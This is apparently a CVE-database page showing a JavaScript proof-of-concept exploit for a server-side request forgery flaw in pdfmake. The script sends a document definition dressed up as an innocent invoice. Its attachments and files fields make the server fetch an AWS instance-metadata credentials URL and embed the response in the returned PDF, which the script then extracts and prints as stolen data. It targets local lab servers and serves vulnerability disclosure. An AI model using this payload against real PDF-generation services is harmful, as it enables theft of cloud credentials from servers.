5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / attack-exfiltration.js JS
/**
 * SSRF Data Exfiltration PoC for pdfmake
 *
 * This PoC proves FULL READ SSRF (not just blind SSRF)
 *
 * Attack flow:
 * 1. Send docDefinition with attachments containing attacker-controlled URL
 * 2. pdfmake fetches URL via URLResolver → content stored in VFS
 * 3. Content gets embedded as PDF attachment
 * 4. Attacker downloads PDF → extracts attachment → GETS THE DATA
 *
 * This proves HIGH severity - not just "request made" but "data exfiltrated"
 */

import fs from 'fs';
import { execSync } from 'child_process';

const VULNERABLE_SERVER = 'http://127.0.0.1:3000';
const METADATA_SERVER = 'http://127.0.0.1:8888';

const METADATA_URL = `${METADATA_SERVER}/latest/meta-data/iam/security-credentials/vulnerable-ec2-role`;

// Attack payload - TWO STEPS:
// 1. "attachments" triggers URL fetch via URLResolver → content stored in VFS
// 2. "files" embeds content from VFS into PDF as attachment
const exfiltrationPayload = {
  content: [
    { text: 'Invoice #12345', style: 'header' },
    { text: 'This is a legitimate-looking PDF document.' },
    { text: 'Nothing suspicious here...', margin: [0, 20, 0, 0] }
  ],
  styles: {
    header: { fontSize: 18, bold: true }
  },
  // Step 1: This triggers SSRF - URL is fetched and stored in virtual filesystem
  attachments: {
    'aws_credentials': {
      src: METADATA_URL
    }
  },
  // Step 2: This embeds the fetched content into PDF (reads from VFS using URL as key)
  files: {
    'stolen_credentials': {
      src: METADATA_URL,  // Same URL - reads from VFS where content was stored
      name: 'metadata.json'
    }
  }
};

async function runExfiltrationAttack() {
  console.log(`
╔═══════════════════════════════════════════════════════════════════╗
║     PDFMAKE SSRF - FULL DATA EXFILTRATION PROOF OF CONCEPT       ║
╠═══════════════════════════════════════════════════════════════════╣
║  This proves the attacker can READ the response, not just SSRF   ║
║  Severity: HIGH (full read SSRF vs blind SSRF)                   ║
╚═══════════════════════════════════════════════════════════════════╝
`);

  console.log('[1] Sending malicious docDefinition with attachment URL...');
  console.log('    Payload uses "attachments" field with AWS metadata URL');
  console.log('');

  try {
    const response = await fetch(`${VULNERABLE_SERVER}/api/generate-pdf`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(exfiltrationPayload)
    });

    if (!response.ok) {
      const error = await response.text();
      console.log(`[-] Server error: ${error}`);
      console.log('[!] Note: Check if pdfmake version supports attachments');
      return;
    }

    console.log('[2] PDF generated successfully!');

    // Save the PDF
    const pdfBuffer = await response.arrayBuffer();
    const outputPath = 'exfiltrated.pdf';
    fs.writeFileSync(outputPath, Buffer.from(pdfBuffer));
    console.log(`[3] Saved PDF to: ${outputPath}`);

    // Try to extract attachments
    console.log('[4] Extracting attachments from PDF...');
    console.log('');

    // Use pdfdetach (from poppler-utils) if available
    try {
      execSync(`pdfdetach -list ${outputPath} 2>/dev/null`, { encoding: 'utf8' });
      console.log('[+] PDF contains attachments! Extracting...');
      execSync(`pdfdetach -saveall ${outputPath} 2>/dev/null`);

      // Read extracted file
      if (fs.existsSync('metadata.json')) {
        const stolenData = fs.readFileSync('metadata.json', 'utf8');
        console.log('');
        console.log('╔═══════════════════════════════════════════════════════════════════╗');
        console.log('║              EXFILTRATED DATA (PROOF OF FULL READ SSRF)          ║');
        console.log('╚═══════════════════════════════════════════════════════════════════╝');
        console.log(stolenData);
        console.log('');
        console.log('[+] SUCCESS: AWS credentials were embedded in PDF and extracted!');
        console.log('[+] This proves FULL READ SSRF - attacker can access response data!');
      }
    } catch (e) {
      console.log('[!] pdfdetach not found - install poppler-utils to extract');
      console.log('[!] Or open exfiltrated.pdf and check attachments manually');
      console.log('');
      console.log('    macOS: brew install poppler');
      console.log('    Linux: apt install poppler-utils');
    }

  } catch (error) {
    console.log(`[-] Connection error: ${error.message}`);
    console.log('[!] Make sure both servers are running:');
    console.log('    - node vulnerable-server.js (port 3000)');
    console.log('    - node mock-metadata-server.js (port 8888)');
  }
}

runExfiltrationAttack().catch(console.error);